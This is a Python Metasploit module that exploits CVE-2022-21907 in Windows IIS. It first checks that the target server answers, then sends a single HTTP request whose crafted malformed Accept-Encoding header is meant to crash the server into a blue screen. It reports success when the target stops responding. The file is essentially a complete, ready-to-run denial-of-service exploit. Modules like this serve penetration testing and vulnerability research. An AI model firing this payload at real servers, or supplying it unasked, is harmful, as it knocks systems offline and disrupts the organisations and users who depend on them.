py_dos_iis_2022_21907.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
This module requires Metasploit: https://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework

This module performs a DOS attack using a simple HTTP request.
"""

from urllib.error import URLError, HTTPError
from urllib.request import Request, urlopen
from ssl import _create_unverified_context
from logging import info, error
from os.path import basename
from socket import timeout
from typing import Dict

from metasploit import module

metadata = {
    "name": "CVE-2022-21907: HTTP Protocol Stack Remote Code Execution Vulnerability - Windows IIS DOS BlueScreen",
    "description": "This module can be used to perform a DOS attack on IIS server. This module exploit the CVE-2022-21907 and causes a Blue Screen with only one payload.",
    "license": "MSF_LICENSE",
    "authors": ["Maurice LAMBERT <mauricelambert434@gmail.com>"],
    "date": "2022-01-11",
    "references": [
        {"type": "cve", "ref": "2022-21907"},
        {
            "type": "url",
            "ref": "https://nvd.nist.gov/vuln/detail/CVE-2022-21907",
        },
        {
            "type": "url",
            "ref": "https://github.com/mauricelambert/CVE-2022-21907",
        },
    ],
    "type": "dos",
    "options": {
        "rhost": {
            "type": "address",
            "description": "Target address",
            "required": True,
            "default": None,
        },
        "rport": {
            "type": "int",
            "description": "Target port",
            "required": True,
            "default": 80,
        },
        "verbose": {
            "type": "bool",
            "description": "Verbose mode",
            "required": False,
            "default": None,
        },
        "ssl": {
            "type": "bool",
            "description": "Use SSL",
            "required": False,
            "default": False,
        },
    },
}


def run(args: Dict[str, str]) -> None:

    """
    This module performs a DOS attack using a simple HTTP request.
    """

    port = args["rport"]
    host = args["rhost"]
    ssl = False if not args["ssl"] or args["ssl"] == "false" else True

    payload = {
        "Accept-Encoding": "AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,"
    }

    module.LogHandler.setup(msg_prefix=f"{basename(__file__)}[{host}:{port}] - ")

    info("Trying first connection...")

    try:
        urlopen(
            f'http{"s" if ssl else ""}://{host}:{port}',
            context=_create_unverified_context() if ssl else None,
        )
    except HTTPError:
        pass
    except Exception as e:
        error(
            f"The connection was refused by the remote host ({host}:{port})."
        )
        error(
            f"Auxiliary aborted due to failure: unreachable: {host}:{port} - Could not connect to web service - no response"
        )
        return None

    info("First connection OK. Sending payload...")

    try:
        urlopen(
            Request(
                f'http{"s" if ssl else ""}://{host}:{port}',
                headers=payload,
            ),
            context=_create_unverified_context() if ssl else None,
            timeout=10,
        )
    except (timeout, TimeoutError, URLError):
        info("Target is down ! Congratulations !")
        return None
    except Exception as e:
        error(f"{e.__class__.__name__}: {e}")

    error("Target is not vulnerable and up.")


if __name__ == "__main__":
    module.run(metadata, run)